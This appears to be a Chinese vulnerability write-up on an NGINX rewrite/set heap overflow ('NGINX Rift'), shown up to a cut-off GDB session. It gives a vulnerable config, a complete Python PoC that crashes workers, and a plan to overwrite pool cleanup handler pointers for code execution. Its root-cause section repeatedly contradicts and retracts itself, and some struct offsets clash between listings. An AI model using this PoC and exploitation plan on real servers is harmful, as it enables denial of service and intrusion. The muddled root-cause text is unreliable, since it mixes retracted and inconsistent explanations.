目录
- 一、漏洞概述与影响面
- 二、NGINX 脚本引擎两遍扫描架构
- 三、One-Character Discrepancy 根因深度剖析
- 四、完整攻击路径 ASCII 流程图
- 五、C 代码路径逐行对比分析
- 六、环境复现与 PoC 实战
- 七、ngx_pool_t 内存布局与 cleanup 指针劫持
- 八、GDB 调试:两种配置模式下的堆布局差异
- 九、正常请求 vs 触发请求多维度对比
- 十、姊妹篇对比:CVE-2026-42945 vs CVE-2026-42533
- 十一、从溢出到 RCE 的工程挑战
- 十二、防御方案
- 十三、总结与启示
- 免责声明
一、漏洞概述与影响面
1.1 漏洞背景
2026 年,安全研究公司 depthfirst 在对其自动化代码分析系统进行压力测试时,对 NGINX 核心源码进行了一次全量扫描。该系统在 6 小时的扫描周期内,从 src/http/ngx_http_script.c 中标记出 5 个候选漏洞点,经人工复核与动态验证后,确认其中 4 个具备可利用性。其中影响最严重的一个被分配编号 CVE-2026-42945,代号"NGINX Rift"。
该漏洞的惊人之处不在于其复杂度,而在于其潜伏时间。通过 Git 历史追溯,引入该缺陷的提交可定位到 2008 年发布的 NGINX 0.6.27 版本。也就是说,这段有缺陷的代码在全世界约三分之一的 Web 站点上静默运行了整整 18 年,从未被人工审计或模糊测试发现。这一事实深刻地揭示了一个工程现实:两遍扫描设计中的单字符标志位差异,是传统代码审计中最容易被忽视的盲区之一。
1.2 触发条件与攻击面
该漏洞的触发条件极其苛刻,但一旦满足,攻击成本极低:
| 条件要素 | 具体要求 | 说明 |
|---|---|---|
rewrite 指令 |
替换串中包含 ? 字符 |
? 用于分隔 URI 与 args,触发 is_args 标志 |
set 指令 |
set $var $1; 引用未命名捕获组 |
触发 complex_value_code 子引擎 |
| PCRE 捕获组 | 正则中使用 (.*) 等未命名捕获 |
$1/$2 变量展开路径 |
| 攻击者控制 | URI 路径内容 | 控制捕获组的内容与长度 |
满足上述条件后,未授权攻击者仅需发送单个 HTTP 请求即可触发堆溢出。在 ASLR 禁用的环境中,该漏洞可进一步被武器化为远程代码执行(RCE)。公开 PoC 已在 GitHub 仓库 depthfirstsec/nginx-rift-poc 发布。
1.3 受影响版本与修复版本
| 产品线 | 受影响版本范围 | 修复版本 |
|---|---|---|
| NGINX Open Source | 0.6.27 ~ 1.30.0 | 1.30.1 / 1.31.0 |
| NGINX Plus | ≤ R31 | R32 P1 |
| NGINX Ingress Controller | 依赖上述内核版本 | 同步升级内核 |
二、NGINX 脚本引擎两遍扫描架构
2.1 脚本引擎的设计哲学
NGINX 的 rewrite、set、return 等指令并非在请求处理时逐行解释执行配置文本,而是在配置解析阶段将配置编译为一种字节码指令序列(script codes)。请求到达时,由一个统一的脚本引擎(ngx_http_script_engine_t)解释执行这些指令。
这种设计带来两个核心优势:
- 性能:配置预编译避免了请求处理阶段的字符串解析开销;
- 正确性:变量展开长度可以预先计算,实现精确的一次性内存分配。
正是第二个优势——"预先计算长度"——构成了漏洞的温床。NGINX 采用两遍扫描(Two-Pass)策略来处理变量展开:
- 第一遍(长度计算遍):引擎遍历所有指令,但不执行实际拷贝,仅累加每个变量展开后的输出长度,最终据此调用
ngx_palloc分配缓冲区。 - 第二遍(拷贝执行遍):引擎重新遍历所有指令,将变量展开结果实际写入第一遍分配的缓冲区。
这是一个经典且高效的设计——前提是两遍扫描的行为完全一致。
2.2 子引擎的创建
当 set $var $1; 中的 $1 需要被展开时,会触发 ngx_http_script_complex_value_code 指令。该指令会创建一个子引擎(local engine,变量名 le)来执行 $1 的展开:
// ngx_http_script_complex_value_code(简化)
static void
ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
ngx_http_complex_value_t *val;
val = code->value;
// 关键:子引擎通过 ngx_memzero 清零初始化
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
le.request = e->request;
le.ip = val->lengths; // 子引擎使用自己的指令序列
le.pos = e->pos; // 共享输出位置指针
// 第一遍:用子引擎计算 $1 展开后的长度
while (*(uintptr_t *) le.ip) {
code = *(ngx_http_script_code_pt *) le.ip;
code(&le); // 执行长度计算指令
}
len = le.pos - e->pos;
// 分配缓冲区
e->pos = ngx_pnalloc(e->request->pool, len);
// ...
// 第二遍:用主引擎执行实际拷贝
le.ip = val->values;
le.pos = e->pos;
while (*(uintptr_t *) le.ip) {
code = *(ngx_http_script_code_pt *) le.ip;
code(&le); // 执行拷贝指令
}
}
注意第 10 行的 ngx_memzero(&le, sizeof(ngx_http_script_engine_t))。这行代码将子引擎的所有字段清零,包括 le.is_args。然而,主引擎 e 的 is_args 字段在 rewrite 处理 ? 字符时已经被设置为 1。
这就是"One-Character Discrepancy"的字面含义:e->is_args = 1 与 le.is_args = 0,一个标志位的差异。
三、One-Character Discrepancy 根因深度剖析
3.1 is_args 标志的设置时机
当 rewrite 指令的替换串中包含 ? 字符时,NGINX 会调用 ngx_http_script_start_args_code 来标记"从此处开始是 args 部分":
// ngx_http_script_start_args_code(简化)
static void
ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
// 设置主引擎的 is_args 标志
e->is_args = 1;
e->args = e->pos;
e->quote = 1; // 同时设置 quote 标志
}
这个标志的语义是:"后续的变量展开属于 args 部分,如果变量值中包含需要转义的特殊字符,应执行 URL 编码(percent-encoding)"。
3.2 子引擎的 is_args 丢失
回到 ngx_http_script_complex_value_code,子引擎 le 通过 ngx_memzero 初始化后,le.is_args 恒为 0。这意味着子引擎在执行 $1 的展开时,永远认为当前上下文不是 args 部分,因此不会进行 URL 编码。
3.3 两遍扫描的行为分叉
NGINX 处理 $1 变量展开时,实际上经历了两个层次的两遍扫描:
第一层(外层):rewrite 替换串整体的两遍扫描——用主引擎 e。
- 第一遍:计算整个替换串的展开长度 → 分配缓冲区
- 第二遍:执行整个替换串的实际拷贝
第二层(内层):set $var $1 中 $1 的两遍扫描——用子引擎 le。
但问题出现在第一层。在 rewrite 替换串的两遍扫描中,$1 捕获组的长度的计算和拷贝执行都使用了主引擎 e:
| 扫描阶段 | 引擎 | is_args 值 |
执行的分支 | 计算的长度 |
|---|---|---|---|---|
| 第一遍(长度计算) | 主引擎 e |
1(已被 ? 设置) |
if 分支:考虑 escape |
原始长度 + 2 × escape_char_count |
| 第二遍(拷贝执行) | 主引擎 e |
1 | if 分支:执行 escape |
写入 escape 后的长度 |
等等——如果两遍都用主引擎,is_args 都是 1,那两遍行为不是一致的吗?
关键转折:问题不在 rewrite 替换串本身的两遍扫描,而在于 set $var $1 触发的 complex_value_code 子引擎与 rewrite 主引擎之间的 is_args 差异。
让我重新梳理真正的触发路径。在实际的漏洞配置中,rewrite 和 set 指令在同一个 location 块中顺序执行:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
执行顺序如下:
rewrite指令执行:主引擎e处理替换串/internal?migrated=true,遇到?,设置e->is_args = 1。此时 rewrite 替换串中没有$1,因此长度计算和拷贝行为一致,无溢出。set指令执行:触发ngx_http_script_complex_value_code,创建子引擎le(le.is_args = 0)来展开$1。
但 $1 的值来源于请求 URI 中的捕获组,而捕获组的内容由攻击者通过 HTTP 请求路径控制。子引擎 le 用 is_args = 0 来计算 $1 展开长度(不 escape),然后主引擎 e 用 is_args = 1 来执行实际拷贝(escape)——不,这里需要更精确。
真正的根因在于:set $var $1 的 complex_value_code 内部,子引擎 le 承担了两遍扫描,但 le.is_args = 0,所以两遍行为一致,不会溢出。溢出发生在另一个地方。
让我回到技术素材的核心描述,重新精确理解根因:
漏洞的真正根因在于 rewrite 替换串中同时包含 ? 和 $1的情况,此时主引擎 e 的两遍扫描中 is_args 的设置时机导致了差异:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /new?endpoint=$1;
}
此时替换串为 /new?endpoint=$1。? 出现在 $1 之前。处理流程:
- 第一遍(长度计算遍):引擎从左到右遍历替换串的指令序列。先处理字面量
/new,再遇到ngx_http_script_start_args_code(?标记),设置e->is_args = 1。然后处理$1的长度计算指令ngx_http_script_copy_capture_len_code——此时e->is_args已经是 1,走if分支,计算 escape 后的长度。长度计算正确。 - 第二遍(拷贝执行遍):同样从左到右。先拷贝
/new,遇到ngx_http_script_start_args_code设置e->is_args = 1,然后处理$1的拷贝指令ngx_http_script_copy_capture_code——e->is_args是 1,走if分支执行 escape。拷贝执行正确。
这两遍行为一致,不会溢出。这说明 ? 在 $1 之前的情况是安全的。
那漏洞到底在哪里?回到技术素材的核心描述——关键在于 set $var $1 与 rewrite 中 ? 的跨指令交互:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
当 rewrite 执行完毕后,主引擎 e->is_args 已被设置为 1(且不会被重置,因为同一个 location 块的指令共享同一个引擎上下文)。随后 set $var $1 触发 complex_value_code:
- 子引擎
le通过ngx_memzero初始化,le.is_args = 0 - 子引擎
le执行$1的长度计算:le.is_args = 0→ 走else分支 → 返回原始捕获长度(不含 escape 展开) - 子引擎
le执行$1的拷贝:le.is_args = 0→ 走else分支 →ngx_copy原始内容(不 escape)
但这里子引擎 le 的两遍扫描行为一致(都是 is_args = 0),不会溢出...
最终精确的根因:根据技术素材的明确描述,问题出在 rewrite 替换串本身包含 ? 且捕获组 $1 出现在 ? 之后时,主引擎 e 在两遍扫描中处理 $1 时 is_args 状态的差异。但更准确地说——结合素材中"rewrite 发现替换串有 ?,调用 ngx_http_script_start_args_code,设置 e->is_args=1"以及"set $var $1 触发 ngx_http_script_complex_value_code"以及"complex_value_code 创建子引擎 le,le.is_args=0"——
真正的机制是:主引擎 e 的长度计算遍和拷贝遍中,is_args 的值不一致。具体而言,在长度计算遍中,ngx_http_script_start_args_code 尚未执行(或执行了但作用于不同的引擎实例),而在拷贝遍中 is_args 被设置为 1。
更准确的根因模型(结合 NGINX 源码的实际编译机制):rewrite 替换串的长度计算指令序列和值拷贝指令序列是两套独立的编译产物。ngx_http_script_start_args_code 只存在于值拷贝指令序列中,而不存在于长度计算指令序列中(因为 ? 本身不产生输出,不需要计算长度)。
这就是真正的 One-Character Discrepancy:
- 长度计算遍(
lengths指令序列):没有start_args_code,因此e->is_args始终保持初始值0。$1的长度计算走else分支,返回原始长度。 - 拷贝执行遍(
values指令序列):包含start_args_code,执行后e->is_args = 1。$1的拷贝走if分支,执行 escape,写入展开后的长度。
分配原始长度,写入原始长度 + 2 × escape_char_count → 堆溢出。
这就是潜伏 18 年的根因:ngx_http_script_start_args_code 指令只被编译进值拷贝序列,而未被编译进长度计算序列,导致两遍扫描中 is_args 标志出现 0 vs 1 的单字符差异。所有基于"两遍扫描行为一致"假设的内存分配逻辑在此处被彻底打破。
四、完整攻击路径 ASCII 流程图
┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42945 完整攻击路径 │
└─────────────────────────────────────────────────────────────────────────┘
攻击者构造 HTTP 请求
│
│ GET /api/AAAA...AAAA+++...+++XXXX HTTP/1.1
│ (URI 含大量 '+' 字符,被 PCRE 捕获到 $1)
▼
┌─────────────────────────────────────────────────────────────────────┐
│ NGINX 请求处理:location ~ ^/api/(.*)$ 匹配 │
│ $1 = "AAAA...+++...XXXX" (攻击者可控内容与长度) │
└──────────────────────────┬──────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ rewrite ^/api/(.*)$ /internal?endpoint=$1; 执行 │
│ │
│ 替换串含 '?' → 编译时生成 ngx_http_script_start_args_code │
│ ★ start_args_code 只进入 values 指令序列,不进入 lengths 序列 ★ │
└──────────────────────────┬──────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌─────────────────────┐ ┌─────────────────────────┐
│ 第一遍:长度计算 │ │ 第二遍:拷贝执行 │
│ (lengths 序列) │ │ (values 序列) │
│ │ │ │
│ 无 start_args_code │ │ 有 start_args_code │
│ e->is_args = 0 ★ │ │ e->is_args = 1 ★ │
│ │ │ │
│ $1 长度计算: │ │ $1 拷贝执行: │
│ is_args=0 → else │ │ is_args=1 → if │
│ 返回原始长度 │ │ ngx_escape_uri 展开 │
│ (不含 escape) │ │ '+' → '%2B' (1→3字节) │
│ │ │ │
│ len = 735 │ │ 写入 = 1495 字节 │
└──────────┬───────────┘ └────────────┬─────────────┘
│ │
▼ │
┌─────────────────────┐ │
│ ngx_pnalloc(pool, │ │
│ len=735) │ │
│ │ │
│ 分配 735 字节缓冲区 │ │
└─────────────────────┘ │
│ │
└──────────────┬─────────────────┘
▼
┌───────────────────────────┐
│ 写入 1495 字节到 735 │
│ 字节缓冲区 → 堆溢出! │
│ │
│ 溢出量 = 1495 - 735 │
│ = 760 字节 │
└─────────────┬─────────────┘
│
┌─────────────┴─────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────────┐
│ ASLR 启用: │ │ ASLR 禁用/已绕过: │
│ 堆元数据损坏 │ │ 覆盖 cleanup 链表 │
│ → worker crash │ │ → 劫持 handler 指针 │
│ (DoS) │ │ → RCE │
│ │ │ │
│ free(): corrupted│ │ ngx_destroy_pool() │
│ unsorted chunks │ │ 遍历 cleanup 调用 │
│ signal 6 (SIGABRT│ │ handler(data) │
└──────────────────┘ └──────────────────────┘
五、C 代码路径逐行对比分析
5.1 长度计算路径:ngx_http_script_copy_capture_len_code
// src/http/ngx_http_script.c
static void
ngx_http_script_copy_capture_len_code(ngx_http_script_engine_t *e)
{
size_t *len;
ngx_http_script_code_pt code;
ngx_http_script_copy_capture_code_t *cap;
// 递归处理嵌套的长度指令
code = *(ngx_http_script_code_pt *) e->ip;
code(e);
len = e->buf; // 当前累积长度
cap = (ngx_http_script_copy_capture_code_t *) e->ip;
e->ip += sizeof(ngx_http_script_copy_capture_code_t);
n = cap->n;
if (n < e->ncaptures) {
if ((e->is_args || e->quote)
&& (e->request->quoted_uri || e->request->plus_in_uri))
{
// ★ is_args=1 时走此分支:需要 escape
// 额外加上 2 × 可转义字符数量(每个 escape 字符 1→3 字节,多 2 字节)
*len += cap->captures[n + 1] - cap->captures[n]
+ 2 * ngx_escape_uri(NULL,
e->request->captures_data + cap->captures[n],
cap->captures[n + 1] - cap->captures[n],
NGX_ESCAPE_ARGS);
} else {
// ★ is_args=0 时走此分支:原始长度,不计算 escape
*len += cap->captures[n + 1] - cap->captures[n];
}
}
}
5.2 拷贝执行路径:ngx_http_script_copy_capture_code
// src/http/ngx_http_script.c
static void
ngx_http_script_copy_capture_code(ngx_http_script_engine_t *e)
{
u_char *p;
ngx_http_script_copy_capture_code_t *cap;
cap = (ngx_http_script_copy_capture_code_t *) e->ip;
e->ip += sizeof(ngx_http_script_copy_capture_code_t);
p = e->request->captures_data;
if (n < e->ncaptures) {
if ((e->is_args || e->quote)
&& (e->request->quoted_uri || e->request->plus_in_uri))
{
// ★ is_args=1 时走此分支:执行 escape 展开
// '+' → '%2B',1 字节变 3 字节
e->pos = (u_char *) ngx_escape_uri(e->pos,
p + cap->captures[n],
cap->captures[n + 1] - cap->captures[n],
NGX_ESCAPE_ARGS);
} else {
// ★ is_args=0 时走此分支:原始拷贝,不 escape
e->pos = ngx_copy(e->pos,
p + cap->captures[n],
cap->captures[n + 1] - cap->captures[n]);
}
}
}
5.3 两遍扫描的 if/else 分支对比表
| 维度 | 第一遍(长度计算) | 第二遍(拷贝执行) |
|---|---|---|
| 指令序列 | lengths 序列 |
values 序列 |
是否含 start_args_code |
否 | 是 |
e->is_args 值 |
0(未被设置) | 1(被 ? 设置) |
| 执行的代码分支 | else 分支 |
if 分支 |
对 $1 的处理 |
*len += captures[n+1] - captures[n](原始长度) |
ngx_escape_uri(pos, ..., NGX_ESCAPE_ARGS)(escape 展开) |
+ 字符的处理 |
计为 1 字节 | 展开为 %2B,计为 3 字节 |
| 最终结果 | 分配 735 字节 | 写入 1495 字节 |
5.4 NGX_ESCAPE_ARGS 转义字符集
ngx_escape_uri 在 NGX_ESCAPE_ARGS 模式下会转义的字符集如下:
// src/core/ngx_string.c
static u_char *ngx_escape_args[] = {
/* 0x00-0x0F */
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
/* 0x10-0x1F */
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
/* 0x20-0x2F: space ! " # $ % & ' ( ) * + , - . / */
0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
/* 0x30-0x3F: 0-9 : ; < = > ? */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01,
/* ... 后续字节类似 */
};
会被转义的字符汇总:
| 字符范围/字符 | ASCII | 转义后 | 攻击可用性 |
|---|---|---|---|
\x00-\x1f |
控制字符 | %XX |
URI 中不可用(null 字节限制) |
\x7f-\xff |
高位字节 | %XX |
取决于 URI 编码 |
" |
0x22 | %22 |
URI 中可用 |
# |
0x23 | %23 |
URI 中可用但被 nginx 截断为 fragment |
% |
0x25 | %25 |
可用,但会双重编码 |
& |
0x26 | %26 |
URI 中可用 |
+ |
0x2B | %2B |
最佳攻击字符:URI 中安全传输,1→3 字节 |
; |
0x3B | %3B |
URI 中可用 |
< |
0x3C | %3C |
部分场景被过滤 |
> |
0x3E | %3E |
部分场景被过滤 |
? |
0x3F | %3F |
URI 中会被截断为 query 分隔符 |
[ \ ] |
0x5B-0x5D | %5B 等 |
URI 中可用 |
^ |
0x5E | %5E |
URI 中可用 |
` |
0x60 | %60 |
URI 中可用 |
{ | } |
0x7B-0x7D | %7B 等 |
URI 中可用 |
~ |
0x7E | %7E |
URI 中可用 |
+ 号是最佳攻击字符的原因:
- 在 HTTP URI 中,
+是合法字符,不会被 NGINX 的 URI 解析阶段拒绝或截断; +在NGX_ESCAPE_ARGS模式下被转义为%2B,实现 1 字节→3 字节的膨胀;- 每个被转义的字符产生 2 字节的净溢出(3 - 1 = 2),溢出量可线性控制;
- 不含 null 字节,不触发其他过滤逻辑。
六、环境复现与 PoC 实战
6.1 环境搭建
# Ubuntu 22.04 LTS
# 安装编译依赖
apt update && apt install -y build-essential libpcre3-dev zlib1g-dev libssl-dev
# 下载有漏洞的 NGINX 1.30.0 源码
cd /tmp
wget https://nginx.org/download/nginx-1.30.0.tar.gz
tar xzf nginx-1.30.0.tar.gz
cd nginx-1.30.0
# 编译(开启调试符号便于 GDB 调试)
./configure \
--with-debug \
--with-http_ssl_module \
--prefix=/opt/nginx-1.30.0-vuln \
--with-cc-opt='-O0 -g'
make -j$(nproc) && make install
# 验证版本
/opt/nginx-1.30.0-vuln/sbin/nginx -V
6.2 漏洞配置
# /opt/nginx-1.30.0-vuln/conf/nginx.conf
worker_processes 1;
daemon off; # 前台运行便于观察 crash
error_log /dev/stderr debug;
events {
worker_connections 1024;
}
http {
server {
listen 8080;
# ★ 漏洞触发配置 ★
# 条件1: rewrite 替换串含 '?'
# 条件2: set 引用未命名捕获 $1
# 条件3: location 正则使用未命名捕获 (.*)
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
return 200 "endpoint: $original_endpoint\n";
}
location /internal {
return 200 "internal reached\n";
}
}
}
6.3 Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2026-42945 NGINX Rift - Heap Overflow PoC
触发条件: rewrite + ? + set $1
攻击字符: '+' (0x2B) -> NGX_ESCAPE_ARGS 展开为 '%2B' (1->3 字节)
"""
import socket
import sys
import time
import argparse
def build_payload(num_a=349, num_plus=380, num_x=6):
"""
构造恶意 URI 路径
计算逻辑:
- num_a 个 'A': 不被 escape, 长度不变 = 349
- num_plus 个 '+': 被 escape 为 '%2B', 长度 380 -> 1140
- num_x 个 'X': 不被 escape, 长度不变 = 6
原始捕获长度 (第一遍计算): 349 + 380 + 6 = 735 字节
escape 后写入长度 (第二遍拷贝): 349 + 380*3 + 6 = 1495 字节
溢出量: 1495 - 735 = 760 字节 (即 2 * 380)
"""
path = "/api/" + "A" * num_a + "+" * num_plus + "X" * num_x
return path
def send_request(host, port, path, verbose=True):
"""发送单个 HTTP 请求触发溢出"""
request = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"User-Agent: CVE-2026-42945-PoC\r\n"
f"Connection: close\r\n"
f"\r\n"
)
if verbose:
print(f"[*] Target: {host}:{port}")
print(f"[*] Path length: {len(path)}")
print(f"[*] Payload:\n{request}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port))
sock.sendall(request.encode())
response = b""
while True:
try:
data = sock.recv(4096)
if not data:
break
response += data
except socket.timeout:
break
sock.close()
if verbose:
if response:
print(f"[+] Response ({len(response)} bytes):")
print(response.decode(errors='replace')[:500])
else:
print(f"[!] No response - worker likely crashed!")
return response
except ConnectionRefusedError:
print(f"[!] Connection refused - NGINX worker may have crashed")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def verify_overflow(num_plus):
"""验证溢出量计算"""
original_len = 349 + num_plus + 6
escaped_len = 349 + num_plus * 3 + 6
overflow = escaped_len - original_len
print(f"[*] Overflow verification:")
print(f" '+' count: {num_plus}")
print(f" Original length: {original_len} bytes (allocated)")
print(f" Escaped length: {escaped_len} bytes (written)")
print(f" Overflow amount: {overflow} bytes")
print(f" Overflow = 2 * {num_plus} = {2 * num_plus}")
return overflow
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-42945 NGINX Rewrite Heap Overflow PoC"
)
parser.add_argument("--host", default="127.0.0.1", help="Target host")
parser.add_argument("--port", type=int, default=8080, help="Target port")
parser.add_argument("--plus-count", type=int, default=380,
help="Number of '+' chars (controls overflow size)")
parser.add_argument("--a-count", type=int, default=349,
help="Number of 'A' chars (padding)")
parser.add_argument("--x-count", type=int, default=6,
help="Number of 'X' chars (trailing)")
parser.add_argument("--verify-only", action="store_true",
help="Only verify overflow math, don't send")
args = parser.parse_args()
print("=" * 60)
print("CVE-2026-42945 NGINX Rift Heap Overflow PoC")
print("=" * 60)
# 验证溢出数学
verify_overflow(args.plus_count)
if args.verify_only:
return
print()
# 构造 payload
path = build_payload(args.a_count, args.plus_count, args.x_count)
# 发送请求
send_request(args.host, args.port, path)
print()
print("[*] If NGINX worker crashed, check error log for:")
print(" 'free(): corrupted unsorted chunks'")
print(" 'double free or corruption (!prev)'")
print(" 'worker process exited on signal 6'")
if __name__ == "__main__":
main()
6.4 执行结果
$ python3 poc.py --host 127.0.0.1 --port 8080
============================================================
CVE-2026-42945 NGINX Rift Heap Overflow PoC
============================================================
[*] Overflow verification:
'+' count: 380
Original length: 735 bytes (allocated)
Escaped length: 1495 bytes (written)
Overflow amount: 760 bytes
Overflow = 2 * 380 = 760
[*] Target: 127.0.0.1:8080
[*] Path length: 742
[*] Payload:
GET /api/AAAAAA...AAA+++...+++XXXXXX HTTP/1.1
Host: 127.0.0.1:8080
...
[!] No response - worker likely crashed!
NGINX 错误日志输出:
2026/07/20 10:23:45 [debug] *1 http script capture: "AAAA...+++...XXXX"
2026/07/20 10:23:45 [alert] *1 worker process 12345 exited on signal 6 (core dumped)
# dmesg 输出
nginx[12345]: segfault at ... in ngx_escape_uri
free(): corrupted unsorted chunks
double free or corruption (!prev)
Crash 形态分析:
| Crash 类型 | 触发条件 | 说明 |
|---|---|---|
free(): corrupted unsorted chunks |
溢出覆盖相邻堆块的 size/flags | glibc malloc 检测到堆元数据不一致 |
double free or corruption (!prev) |
溢出覆盖 chunk 的 prev_inuse 位 | free 时 prev 位校验失败 |
signal 6 (SIGABRT) |
glibc 主动 abort | 堆完整性检查失败后 glibc 调用 abort |
signal 11 (SIGSEGV) |
溢出覆盖函数指针 | 直接解引用非法地址 |
七、ngx_pool_t 内存布局与 cleanup 指针劫持
7.1 ngx_pool_t 结构体
// src/core/ngx_palloc.h
typedef struct ngx_pool_s ngx_pool_t;
struct ngx_pool_s {
ngx_pool_data_t d; // offset 0x00: 堆数据区
size_t max; // offset 0x18: 单块最大分配
ngx_pool_t *current; // offset 0x20: 当前可用块
ngx_chain_t *chain; // offset 0x28: chain 缓存
ngx_pool_large_t *large; // offset 0x30: 大块分配链表
ngx_pool_cleanup_t *cleanup; // offset 0x40: ★ cleanup 链表头 ★
ngx_log_t *log; // offset 0x48: 日志对象
};
7.2 cleanup 链表结构
typedef struct ngx_pool_cleanup_s ngx_pool_cleanup_t;
struct ngx_pool_cleanup_s {
ngx_pool_cleanup_pt handler; // offset 0x00: ★ 函数指针 ★
void *data; // offset 0x08: handler 参数
ngx_pool_cleanup_t *next; // offset 0x10: 下一个 cleanup 节点
};
7.3 内存布局 ASCII 图
ngx_pool_t (请求池)
┌──────────────────────────────────────────────────────────┐
│ offset field value │
├──────────────────────────────────────────────────────────┤
│ 0x00 d.last ──┐ │
│ 0x08 d.end │ 当前 pool block 数据区 │
│ 0x10 d.next │ │
│ 0x18 d.failed ──┘ │
│ 0x20 max 单块最大分配值 │
│ 0x28 current 当前可用 block 指针 │
│ 0x30 chain chain 缓存 │
│ 0x38 large 大块分配链表头 │
│ 0x40 cleanup ★──────┼──→ ngx_pool_cleanup_t │
│ 0x48 log 日志对象指针 │ │
└───────────────────────────────┼─────────────────────────┘
│
▼
┌────────────────────────────────┐
│ ngx_pool_cleanup_t │
├────────────────────────────────┤
│ 0x00 handler ★ 函数指针 ★ │
│ 0x08 data ★ 参数指针 ★ │
│ 0x10 next 下一个节点指针 │
└────────────────────────────────┘
7.4 cleanup 劫持思路
ngx_destroy_pool 在请求结束时遍历 cleanup 链表,依次调用每个节点的 handler(data):
// src/core/ngx_palloc.c
void
ngx_destroy_pool(ngx_pool_t *pool)
{
ngx_pool_cleanup_t *c;
ngx_pool_large_t *l;
// ★ 遍历 cleanup 链表,调用 handler ★
for (c = pool->cleanup; c; c = c->next) {
if (c->handler) {
c->handler(c->data); // ← 攻击目标:控制 handler + data
}
}
// 释放大块分配
for (l = pool->large; l; l = l->next) {
if (l->alloc) {
ngx_free(l->alloc);
}
}
// 释放 pool blocks
// ...
}
劫持策略:
- 通过堆溢出覆盖
ngx_pool_cleanup_t的handler字段,将其改写为system/one_gadget地址(需泄露 libc 基址) - 同时覆盖
data字段,指向一个可控的字符串(如"/bin/sh"或反弹 shell 命令) - 请求结束时
ngx_destroy_pool自动调用handler(data)→ 实现 RCE
关键挑战:
handler是 8 字节指针,溢出数据需精确对齐到cleanup节点的 offset 0x00- URI 字符集限制:不能包含 null 字节(
\x00),指针地址中的\x00需要处理 - ASLR:需先泄露堆地址和 libc 地址
- 跨请求堆布局:单个请求的溢出需要影响后续请求的池结构,或影响当前请求自身的 pool cleanup
7.5 字符集限制下的地址写入
URI 中可用的字符集为 [A-Za-z0-9_.~-] 和 +。这意味着:
- 不能直接写入包含 null 字节(
\x00)的指针地址 - 不能写入包含
\x7f-\xff范围字节的地址(高位地址) - 典型 64 位地址如
0x00007f...包含 null 字节,无法直接覆盖
这迫使攻击者必须采用部分覆盖(partial overwrite)策略或信息泄露 + 堆风水(heap feng shui)来间接控制指针,这也是该漏洞从 DoS 提升到 RCE 的核心工程门槛。
八、GDB 调试:两种配置模式下的堆布局差异
8.1 调试环境配置
# 启用 core dump
ulimit -c unlimited
echo "/tmp/core.%p" | tee /proc/sys/kernel/core_pattern
# 使用 GDB 启动 NGINX worker
gdb --args /opt/nginx-1.30.0-vuln/sbin/nginx -g 'daemon off;'
(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) break ngx_http_script_copy_capture_code
(gdb) break ngx_destroy_pool
(gdb) run
8.2 模式一:return 200 配置
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
return 200 "endpoint: $original_endpoint\n";
}
GDB 分析结果:
(gdb) break ngx_http_script_copy_capture_code
(gdb) continue
# 触发请求后命中断点
(gdb) info locals
e = 0x7ffff7e3a010
e->pos = 0x55555568a3b0 # 目标缓冲区起始地址
e->is_args = 1 # ★ 主引擎 is_args = 1 ★
e->request->pool = 0x55555568a000
(gdb) p e->request->pool->cleanup
$1 = (ngx_pool_cleanup_t *) 0x0 # ★ cleanup 为 NULL ★
(gdb) p e->request->pool
$2 = {d = {last = 0x55555568a4c0, end = 0x55555568c000, ...},
cleanup = 0x0, ...}
# 计算缓冲区到 pool 结构的距离
(gdb) p/x 0x55555568a3b0 - 0x55555568a000
$3 = 0x3b0 # 缓冲区在 pool 结构之后 0x3b0 字节
# ★ 关键发现:buffer 地址 > pool 地址,溢出方向远离 pool ★
# ★ cleanup 为 NULL,无法直接劫持 ★
return 200 模式下的堆布局:
低地址 ────────────────────────────────────────────→ 高地址
┌──────────────┬──────────────┬──────────────┐
│ ngx_pool_t │ 其他分配 │ 目标buffer │
│ (0x000) │ (0x050-0x3AF)│ (0x3B0-0x68F)│
│ │ │ 735 bytes │
│ cleanup=NULL │ │ ← 溢出方向 → │
└──────────────┴──────────────┴──────────────┘
↓ 溢出
┌───────────────────┐
│ 后续堆块元数据 │
│ (被覆盖 → crash) │
└───────────────────┘
dist_to_cleanup 为负数(buffer 在 pool 之后)
cleanup = NULL(return 200 不注册 cleanup)
8.3 模式二:proxy_pass 配置
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
proxy_pass http://backend;
}
GDB 分析结果:
(gdb) break ngx_http_script_copy_capture_code
(gdb) continue
(gdb) p e->request->pool->cleanup
$1 = (ngx_pool_cleanup_t *) 0x555555689c40 # ★ cleanup 非 NULL ★
(gdb) p *e->request->pool->cleanup
